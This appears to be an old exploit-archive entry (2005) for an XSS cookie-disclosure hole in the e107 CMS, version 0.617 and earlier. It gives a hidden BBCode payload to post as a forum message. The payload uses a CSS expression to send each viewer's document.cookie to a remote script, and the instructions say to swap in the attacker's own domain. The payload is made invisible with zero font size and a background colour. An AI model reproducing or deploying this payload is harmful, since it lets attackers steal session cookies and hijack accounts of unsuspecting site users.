e107 <= 0.617 XSS Remote Cookie Disclosure Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : e107 <= 0.617 XSS Remote Cookie Disclosure Exploit
# Published : 2005-07-14
# Author : Warlord
# Previous Title : Hosting Controller <= 6.1 HotFix 2.2 Add Domain without Quota Exploit
# Next Title : phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit (cookie grabber)

/*
1) Change milw0rm.com to your domain.com
2) Post the below code into a new message.

Credits to Nick Griffin.

/str0ke
*/

[color=#EFEFEF][url]www.ut[url=http://www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.milw0rm.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]


# www.Syue.com [2005-07-14]